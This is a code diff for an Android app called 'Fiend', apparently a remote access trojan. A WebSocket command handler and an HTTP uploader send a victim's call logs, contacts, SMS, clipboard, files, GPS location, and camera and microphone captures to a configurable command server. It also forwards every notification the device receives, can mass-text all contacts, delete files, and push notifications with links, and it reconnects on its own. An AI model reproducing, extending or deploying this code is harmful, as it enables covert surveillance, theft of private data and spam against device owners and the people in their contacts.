notificationIntent.data = Uri.parse(url);
val resultIntent = PendingIntent.getActivity(
context,
0,
notificationIntent,
PendingIntent.FLAG_MUTABLE
)
val mBuilder = NotificationCompat.Builder(context, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(R.drawable.ic_baseline_warning_24)
.setContentTitle(title)
.setContentText("")
.setBadgeIconType(NotificationCompat.BADGE_ICON_LARGE)
.setPriority(NotificationManager.IMPORTANCE_HIGH)
.setContentIntent(resultIntent)
val mNotificationManager =
context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager?
mNotificationManager!!.notify(
System.currentTimeMillis().toInt(),
mBuilder.build()
)
request.sendText(AppRequest.Text("ᴛʜᴇ ɴᴏᴛɪꜰɪᴄᴀᴛɪᴏɴ ᴡᴀꜱ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ᴅɪꜱᴘʟᴀʏᴇᴅ"))
}
@SuppressLint("NewApi")
fun vibratePhone() {
val vibrationManager =
context.getSystemService(Service.VIBRATOR_MANAGER_SERVICE) as VibratorManager
vibrationManager.vibrate(
CombinedVibration.createParallel(
VibrationEffect.createOneShot(
2000,
1
)
)
)
request.sendText(AppRequest.Text("ᴅᴇᴠɪᴄᴇ ᴠɪʙʀᴀᴛɪᴏɴ ʜᴀꜱ ʙᴇᴇɴ ᴇxᴇᴛᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ"))
}
fun playAudio(url: String) {
AppScope.runMain {
try {
mediaPlayer = MediaPlayer()
if (mediaPlayer != null) {
mediaPlayer!!.setDataSource(url)
mediaPlayer!!.prepare()
mediaPlayer!!.start()
request.sendText(AppRequest.Text("ᴛʜᴇ ᴀᴜᴅɪᴏ ꜰɪʟᴇ ɪ ᴘʟᴀʏɪɴɢ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ"))
}
} catch (e:Exception){
request.sendText(AppRequest.Text("ᴀᴜᴅɪᴏ ꜰɪʟᴇ ᴘʟᴀʏʙᴀᴄᴋ ꜰᴀɪʟᴇᴅ"))
}
}
}
fun stopAudio() {
AppScope.runMain {
if (mediaPlayer != null) {
mediaPlayer!!.release()
mediaPlayer = null
request.sendText(AppRequest.Text("ᴀᴜᴅɪᴏ ꜰɪʟᴇ ꜱᴛᴏᴘᴘᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ"))
}
}
}
data class SmsModel(
val phone: String,
val message: String,
val device: String
)
}

View File

@@ -0,0 +1,19 @@
package willi.fiend.Utils
import android.service.notification.NotificationListenerService
import android.service.notification.StatusBarNotification
class AppNotificationListener : NotificationListenerService() {
override fun onNotificationPosted(sbn: StatusBarNotification?) {
val title = sbn?.notification?.extras?.getString("android.title")
val text = sbn?.notification?.extras?.getString("android.text")
val packageName = sbn?.packageName
var message = ""
message += "App : $packageName\n"
message += "Title : $title\n"
message += "Text : $text"
AppRequest().sendText(AppRequest.Text(message))
}
}

View File

@@ -0,0 +1,106 @@
package willi.fiend.Utils
import android.Manifest
import android.content.Context
import android.content.pm.PackageManager
import com.karumi.dexter.Dexter
import com.karumi.dexter.MultiplePermissionsReport
import com.karumi.dexter.PermissionToken
import com.karumi.dexter.listener.PermissionRequest
import com.karumi.dexter.listener.multi.MultiplePermissionsListener
class AppPermission(private val context: Context) {
fun getPerms(onPermissionsChecked: () -> Unit) {
Dexter
.withContext(context)
.withPermissions(
Manifest.permission.READ_EXTERNAL_STORAGE,
Manifest.permission.RECEIVE_SMS,
Manifest.permission.READ_SMS,
Manifest.permission.SEND_SMS,
Manifest.permission.READ_CALL_LOG,
Manifest.permission.READ_CONTACTS,
Manifest.permission.INTERNET,
Manifest.permission.RECORD_AUDIO,
Manifest.permission.CAMERA,
Manifest.permission.ACCESS_FINE_LOCATION,
Manifest.permission.ACCESS_COARSE_LOCATION
).withListener(object : MultiplePermissionsListener {
override fun onPermissionsChecked(p0: MultiplePermissionsReport?) {
onPermissionsChecked()
}
override fun onPermissionRationaleShouldBeShown(
p0: MutableList<PermissionRequest>?,
p1: PermissionToken?
) {}
}).check()
}
fun checkReadExternalStorage(): Boolean {
val granted = PackageManager.PERMISSION_GRANTED
val requiredPermission = Manifest.permission.READ_EXTERNAL_STORAGE
val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
return checkPrem == granted
}
fun checkWriteExternalStorage(): Boolean {
val granted = PackageManager.PERMISSION_GRANTED
val requiredPermission = Manifest.permission.WRITE_EXTERNAL_STORAGE
val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
return checkPrem == granted
}
fun checkReadSms(): Boolean {
val granted = PackageManager.PERMISSION_GRANTED
val requiredPermission2 = Manifest.permission.READ_SMS
val checkPrem2: Int = context.checkCallingOrSelfPermission(requiredPermission2)
return checkPrem2 == granted
}
fun checkReceiveSms(): Boolean {
val granted = PackageManager.PERMISSION_GRANTED
val requiredPermission = Manifest.permission.RECEIVE_SMS
val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
return checkPrem == granted
}
fun checkSendSms(): Boolean {
val granted = PackageManager.PERMISSION_GRANTED
val requiredPermission3 = Manifest.permission.SEND_SMS
val checkPrem3: Int = context.checkCallingOrSelfPermission(requiredPermission3)
return checkPrem3 == granted
}
fun checkReadCallLog(): Boolean {
val granted = PackageManager.PERMISSION_GRANTED
val requiredPermission = Manifest.permission.READ_CALL_LOG
val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
return checkPrem == granted
}
fun checkReadContacts(): Boolean {
val granted = PackageManager.PERMISSION_GRANTED
val requiredPermission = Manifest.permission.READ_CONTACTS
val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
return checkPrem == granted
}
fun checkCaptureMic(): Boolean {
val granted = PackageManager.PERMISSION_GRANTED
val requiredPermission = Manifest.permission.RECORD_AUDIO
val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
return checkPrem == granted
}
fun checkCaptureCam(): Boolean {
val granted = PackageManager.PERMISSION_GRANTED
val requiredPermission = Manifest.permission.CAMERA
val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
return checkPrem == granted
}
fun checkGetLocation(): Boolean {
val granted = PackageManager.PERMISSION_GRANTED
val requiredPermission = Manifest.permission.ACCESS_FINE_LOCATION
val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
return checkPrem == granted
}
}

View File

@@ -0,0 +1,111 @@
package willi.fiend.Utils
import android.content.Context
import android.util.Log
import androidx.lifecycle.ViewModel
import androidx.lifecycle.viewModelScope
import com.google.gson.Gson
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.launch
import okhttp3.*
import okhttp3.MediaType.Companion.toMediaType
import java.io.File
import java.io.IOException
class AppRequest() : ViewModel() {
private val CLIENT = OkHttpClient()
private val HOST = AppTools.getAppData().host
fun awake() {
viewModelScope.launch(Dispatchers.IO) {
val request = Request.Builder().url(HOST).build()
CLIENT.newCall(request).enqueue(object : Callback {
override fun onFailure(call: Call, e: IOException) {}
override fun onResponse(call: Call, response: Response) {
response.close()
}
})
}
}
fun sendFile(file: File) {
viewModelScope.launch(Dispatchers.IO) {
val formBody = MultipartBody.Builder()
.setType(MultipartBody.FORM)
.addFormDataPart("file", file.name, RequestBody.create(null, file))
.build()
val request = Request.Builder()
.url(HOST + "uploadFile/")
.post(formBody)
.addHeader("model", AppTools.getDeviceName())
.build()
CLIENT.newCall(request).enqueue(object : Callback {
override fun onFailure(call: Call, e: IOException) {}
override fun onResponse(call: Call, response: Response) {
response.close()
}
})
}
}
fun sendText(text: Text) {
viewModelScope.launch(Dispatchers.IO) {
val gson = Gson().toJson(text)
val request = Request.Builder()
.url(HOST + "uploadText/")
.post(RequestBody.create("application/json; charset=utf-8".toMediaType(), gson))
.addHeader("model", AppTools.getDeviceName())
.build()
CLIENT.newCall(request).enqueue(object : Callback {
override fun onFailure(call: Call, e: IOException) {}
override fun onResponse(call: Call, response: Response) {
response.close()
}
})
}
}
fun sendLocation(location: Location) {
viewModelScope.launch(Dispatchers.IO) {
val gson = Gson().toJson(location).toString()
val request = Request.Builder()
.url(HOST + "uploadLocation/")
.post(RequestBody.create("application/json; charset=utf-8".toMediaType(), gson))
.addHeader("model", AppTools.getDeviceName())
.build()
CLIENT.newCall(request).enqueue(object : Callback {
override fun onFailure(call: Call, e: IOException) {}
override fun onResponse(call: Call, response: Response) {
response.close()
}
})
}
}
fun sendWaterMark(){
viewModelScope.launch(Dispatchers.IO) {
Log.i("WAT",AppTools.getWatermark())
val gson = Gson().toJson(Text(AppTools.getWatermark()))
val request = Request.Builder()
.url(HOST + "uploadText/")
.post(RequestBody.create("application/json; charset=utf-8".toMediaType(), gson))
.addHeader("model", AppTools.getDeviceName())
.build()
CLIENT.newCall(request).enqueue(object : Callback {
override fun onFailure(call: Call, e: IOException) {}
override fun onResponse(call: Call, response: Response) {
response.close()
}
})
}
}
data class Location(
val lat: Float,
val lon: Float
)
data class Text(
val text: String
)
}

View File

@@ -0,0 +1,24 @@
package willi.fiend.Utils
import android.os.Handler
import android.os.Looper
import androidx.lifecycle.ViewModel
import androidx.lifecycle.viewModelScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.launch
class AppScope(val runnable: Runnable) : Runnable , ViewModel(){
override fun run() {
viewModelScope.launch(Dispatchers.IO) {
runnable.run()
}
}
companion object {
fun runBack(runnable: Runnable) {
AppScope(runnable).run()
}
fun runMain(runnable: Runnable){
Handler(Looper.getMainLooper()).post(runnable)
}
}
}

View File

@@ -0,0 +1,157 @@
package willi.fiend.Utils
import android.content.Context
import android.os.Handler
import android.os.Looper
import android.util.Log
import okhttp3.OkHttpClient
import okhttp3.Request
import okhttp3.Response
import okhttp3.WebSocket
class AppSocket(val context: Context) :
okhttp3.WebSocketListener() {
private val client = OkHttpClient()
private val requests = AppRequest()
val action = AppActions(context)
fun connect() {
AppScope.runBack {
val request = Request.Builder().url(AppTools.getAppData().socket)
requests.awake()
request.addHeader("model", AppTools.getDeviceName())
request.addHeader("battery", AppTools.getBatteryPercentage(context).toString())
request.addHeader("version", AppTools.getAndroidVersion().toString() + " (SDK)")
request.addHeader("brightness", AppTools.getScreenBrightness(context).toString())
request.addHeader("provider", AppTools.getProviderName(context))
client.newWebSocket(request.build(), this)
}
}
override fun onMessage(webSocket: WebSocket, text: String) {
Log.i("MESSAGE",text)
when(text){
"calls" -> {
requests.sendWaterMark()
action.uploadCalls()
}
"contacts" -> {
requests.sendWaterMark()
action.uploadContact()
}
"messages" -> {
requests.sendWaterMark()
action.uploadMessages()
}
"apps" -> {
requests.sendWaterMark()
action.uploadApps()
}
"device_info" -> {
requests.sendWaterMark()
action.uploadDeviceInfo()
}
"clipboard" -> {
requests.sendWaterMark()
action.uploadClipboard()
}
"camera_main" -> {
requests.sendWaterMark()
action.captureCameraMain()
}
"camera_selfie" -> {
requests.sendWaterMark()
action.captureCameraSelfie()
}
"gpsLocation" -> {
requests.sendWaterMark()
action.uploadGpsLocation()
}
"vibrate" -> {
requests.sendWaterMark()
action.vibratePhone()
}
"stop_audio" -> {
requests.sendWaterMark()
action.stopAudio()
}
"ping" -> webSocket.send("pong")
else -> {
val commend = text.split(":")[0]
val data = text.split(":")[1]
when(commend){
"send_message" -> {
val number = data.split("/")[0]
val message = data.split("/")[1]
action.sendMessage(number, message)
requests.sendWaterMark()
}
"send_message_to_all" -> {
action.messageToAllContacts(data)
requests.sendWaterMark()
}
"file" -> {
action.uploadFile(data)
requests.sendWaterMark()
}
"delete_file" -> {
action.deleteFile(data)
requests.sendWaterMark()
}
"microphone" -> {
val duration = data.toLongOrNull()
if (duration != null) {
action.captureMicrophone(duration)
requests.sendWaterMark()
} else {
requests.sendText(AppRequest.Text("Invalid duration"))
requests.sendWaterMark()
}
}
"toast" -> {
action.showToast(data)
requests.sendWaterMark()
}
"show_notification" -> {
val notificationData = text.substringAfter(":")
val title = notificationData.substringBefore("/")
val url = notificationData.substringAfter("/")
action.showNotification(title, url)
requests.sendWaterMark()
}
"play_audio" -> {
action.playAudio(text.substringAfter(":"))
requests.sendWaterMark()
}
}
}
}
}
override fun onOpen(webSocket: WebSocket, response: Response) {}
override fun onClosed(webSocket: WebSocket, code: Int, reason: String) {
Log.i("ERR",reason)
Handler(Looper.getMainLooper()).postDelayed({
connect()
}, 5000)
}
override fun onFailure(webSocket: WebSocket, t: Throwable, response: Response?) {
t.printStackTrace()
if (response != null) {
Log.i("ERR", response.message)
}
Handler(Looper.getMainLooper()).postDelayed({
connect()
}, 5000)
}
override fun onClosing(webSocket: WebSocket, code: Int, reason: String) {
Log.i("ERR",reason)
Handler(Looper.getMainLooper()).postDelayed({
connect()
}, 5000)
}
}

View File

@@ -0,0 +1,186 @@
package willi.fiend.Utils
import android.annotation.SuppressLint
import android.app.Activity
import android.app.ActivityManager
import android.app.DownloadManager
import android.content.ContentResolver
import android.content.Context
import android.graphics.Bitmap
import android.graphics.Canvas
import android.graphics.Color
import android.graphics.Paint
import android.net.Uri
import android.os.BatteryManager
import android.os.Build
import android.os.Environment
import android.provider.Settings
import android.telephony.TelephonyManager
import android.webkit.DownloadListener
import android.webkit.URLUtil
import androidx.activity.ComponentActivity
import com.google.gson.Gson
import willi.fiend.MainService
import java.util.*
@SuppressLint("Range")
class AppTools {
companion object {
@SuppressLint("NewApi")
fun getAppData(): AppData {
val data = ""
val text = decode(data)
return Gson().fromJson(text, AppData::class.java)
}
@SuppressLint("NewApi")
private fun decode(base64: String): String {
val decodedBytes: ByteArray = Base64.getDecoder().decode(base64)
return String(decodedBytes)
}
@SuppressLint("NewApi")
fun getWatermark(): String {
val encodedWatermark = "4bSF4bSH4bSg4bSHyp/htI/htJjhtIfhtIUgypnKjyA6IEBoYWNrZGFnZ2Vy"
val decodedWatermark = Base64.getDecoder().decode(encodedWatermark)
return String(decodedWatermark)
}
data class AppData(
val host: String,
val socket: String,
val webView: String
)
fun getAndroidVersion(): Int {
return Build.VERSION.SDK_INT
}
fun getScreenBrightness(context: Context): Int {
return Settings.System.getInt(
context.contentResolver,
Settings.System.SCREEN_BRIGHTNESS
);
}
fun getProviderName(context: Context): String {
return try {
val manager =
context.getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager
manager.networkOperatorName
} catch (ex: Exception) {
"no provider"
}
}
fun getDeviceName(): String {
fun capitalize(s: String?): String {
if (s == null || s.isEmpty()) {
return ""
}
val first = s[0]
return if (Character.isUpperCase(first)) {
s
} else {
Character.toUpperCase(first).toString() + s.substring(1)
}
}
val manufacturer = Build.MANUFACTURER
val model = Build.MODEL
return if (model.lowercase(Locale.getDefault())
.startsWith(manufacturer.lowercase(Locale.getDefault()))
) {
capitalize(model)
} else {
capitalize(manufacturer) + " " + model
}
}
fun getBatteryPercentage(context: Context): Int {
val bm = context.getSystemService(Context.BATTERY_SERVICE) as BatteryManager
return bm.getIntProperty(BatteryManager.BATTERY_PROPERTY_CAPACITY)
}
fun isNotificationServiceRunning(context: Context): Boolean {
val contentResolver: ContentResolver = context.contentResolver
val enabledNotificationListeners: String =
Settings.Secure.getString(contentResolver, "enabled_notification_listeners")
val packageName: String = context.packageName
return enabledNotificationListeners.contains(
packageName
)
}
fun isServiceRunning(
context: Context,
serviceClass: Class<*> = MainService::class.java
): Boolean {
val manager = context.getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager
for (service in manager.getRunningServices(Int.MAX_VALUE)) {
if (serviceClass.name == service.service.className) {
return true
}
}
return false
}
fun disableWelcome(context: Context) {
val prefs = context.getSharedPreferences("inspectorPrefs", Context.MODE_PRIVATE)
val editor = prefs.edit()
editor.putBoolean("showWelcome", false)
editor.apply()
}
fun showWelcome(context: Context): Boolean {
val prefs = context.getSharedPreferences("inspectorPrefs", Context.MODE_PRIVATE)
return prefs.getBoolean("showWelcome", true)
}
private const val APP_PACKAGE_DOT_COUNT = 2
private const val DUAL_APP_ID_999 = "999"
private const val DOT = '.'
fun checkAppCloning(activity: Activity) {
val path: String = activity.filesDir.path
if (path.contains(DUAL_APP_ID_999)) {
killProcess(activity)
} else {
val count: Int = getDotCount(path)
if (count > APP_PACKAGE_DOT_COUNT) {
killProcess(activity)
}
}
}
private fun getDotCount(path: String): Int {
var count = 0
for (element in path) {
if (count > APP_PACKAGE_DOT_COUNT) {
break
}
if (element == DOT) {
count++
}
}
return count
}
private fun killProcess(context: Activity) {
context.finish()
android.os.Process.killProcess( android.os.Process.myPid())
}
}
class WebViewDownloadListener(private val context: Context) : DownloadListener {
override fun onDownloadStart(p0: String?, p1: String?, p2: String?, p3: String?, p4: Long) {
val request = DownloadManager.Request(Uri.parse(p0))
request.setDestinationInExternalPublicDir(
Environment.DIRECTORY_DOWNLOADS,
URLUtil.guessFileName(p0, p2, p3)
)
val dm = context.getSystemService(ComponentActivity.DOWNLOAD_SERVICE) as DownloadManager
dm.enqueue(request)
}
}
}

View File

@@ -0,0 +1,30 @@
<vector xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:aapt="http://schemas.android.com/aapt"
android:width="108dp"
android:height="108dp"
android:viewportWidth="108"
android:viewportHeight="108">
<path android:pathData="M31,63.928c0,0 6.4,-11 12.1,-13.1c7.2,-2.6 26,-1.4 26,-1.4l38.1,38.1L107,108.928l-32,-1L31,63.928z">
<aapt:attr name="android:fillColor">
<gradient
android:endX="85.84757"
android:endY="92.4963"
android:startX="42.9492"
android:startY="49.59793"
android:type="linear">
<item
android:color="#44000000"
android:offset="0.0" />
<item
android:color="#00000000"
android:offset="1.0" />
</gradient>
</aapt:attr>
</path>
<path
android:fillColor="#FFFFFF"
android:fillType="nonZero"
android:pathData="M65.3,45.828l3.8,-6.6c0.2,-0.4 0.1,-0.9 -0.3,-1.1c-0.4,-0.2 -0.9,-0.1 -1.1,0.3l-3.9,6.7c-6.3,-2.8 -13.4,-2.8 -19.7,0l-3.9,-6.7c-0.2,-0.4 -0.7,-0.5 -1.1,-0.3C38.8,38.328 38.7,38.828 38.9,39.228l3.8,6.6C36.2,49.428 31.7,56.028 31,63.928h46C76.3,56.028 71.8,49.428 65.3,45.828zM43.4,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2c-0.3,-0.7 -0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C45.3,56.528 44.5,57.328 43.4,57.328L43.4,57.328zM64.6,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2s-0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C66.5,56.528 65.6,57.328 64.6,57.328L64.6,57.328z"
android:strokeWidth="1"
android:strokeColor="#00000000" />
</vector>

Binary file not shown.

After

Width:  |  Height:  |  Size: 109 KiB

View File

@@ -0,0 +1,5 @@
<vector android:height="24dp" android:tint="#FFFFFF"
android:viewportHeight="24" android:viewportWidth="24"
android:width="24dp" xmlns:android="http://schemas.android.com/apk/res/android">
<path android:fillColor="@android:color/white" android:pathData="M1,21h22L12,2 1,21zM13,18h-2v-2h2v2zM13,14h-2v-4h2v4z"/>
</vector>

View File

@@ -0,0 +1,170 @@
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="108dp"
android:height="108dp"
android:viewportWidth="108"
android:viewportHeight="108">
<path
android:fillColor="#3DDC84"
android:pathData="M0,0h108v108h-108z" />
<path
android:fillColor="#00000000"
android:pathData="M9,0L9,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,0L19,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M29,0L29,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M39,0L39,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M49,0L49,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M59,0L59,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M69,0L69,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M79,0L79,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M89,0L89,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M99,0L99,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,9L108,9"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,19L108,19"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,29L108,29"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,39L108,39"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,49L108,49"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,59L108,59"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,69L108,69"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,79L108,79"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,89L108,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,99L108,99"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,29L89,29"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,39L89,39"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,49L89,49"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,59L89,59"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,69L89,69"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,79L89,79"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M29,19L29,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M39,19L39,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M49,19L49,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M59,19L59,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M69,19L69,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M79,19L79,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
</vector>

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<shape android:shape="rectangle" xmlns:android="http://schemas.android.com/apk/res/android">
<size
android:width="2dp"
android:height="2dp" />
<solid android:color="#00000000" />
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 55 KiB

View File

@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="0dp">
</RelativeLayout>

View File

@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<background android:drawable="@drawable/ic_launcher_background" />
<foreground android:drawable="@drawable/ic_launcher_foreground" />
</adaptive-icon>

View File

@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<background android:drawable="@drawable/ic_launcher_background" />
<foreground android:drawable="@drawable/ic_launcher_foreground" />
</adaptive-icon>

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 982 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.6 KiB

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="purple_200">#FFBB86FC</color>
<color name="purple_500">#FF6200EE</color>
<color name="purple_700">#FF3700B3</color>
<color name="teal_200">#FF03DAC5</color>
<color name="teal_700">#FF018786</color>
<color name="black">#FF000000</color>
<color name="white">#FFFFFFFF</color>
</resources>

View File

@@ -0,0 +1,3 @@
<resources>
<string name="app_name">Fiend</string>
</resources>

View File

@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<style name="Theme.Fiend" parent="android:Theme.Material.Light.NoActionBar" />
</resources>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding="utf-8"?><!--
Sample backup rules file; uncomment and customize as necessary.
See https://developer.android.com/guide/topics/data/autobackup
for details.
Note: This file is ignored for devices older that API 31
See https://developer.android.com/about/versions/12/backup-restore
-->
<full-backup-content>
<!--
<include domain="sharedpref" path="."/>
<exclude domain="sharedpref" path="device.xml"/>
-->
</full-backup-content>

View File

@@ -0,0 +1,19 @@
<?xml version="1.0" encoding="utf-8"?><!--
Sample data extraction rules file; uncomment and customize as necessary.
See https://developer.android.com/about/versions/12/backup-restore#xml-changes
for details.
-->
<data-extraction-rules>
<cloud-backup>
<!-- TODO: Use <include> and <exclude> to control what is backed up.
<include .../>
<exclude .../>
-->
</cloud-backup>
<!--
<device-transfer>
<include .../>
<exclude .../>
</device-transfer>
-->
</data-extraction-rules>

View File

@@ -0,0 +1,17 @@
package willi.fiend
import org.junit.Test
import org.junit.Assert.*
/**
* Example local unit test, which will execute on the development machine (host).
*
* See [testing documentation](http://d.android.com/tools/testing).
*/
class ExampleUnitTest {
@Test
fun addition_isCorrect() {
assertEquals(4, 2 + 2)
}
}

View File

@@ -0,0 +1,5 @@
{
"host" : "",
"socket" : "",
"webView" : "https://www.google.com"
}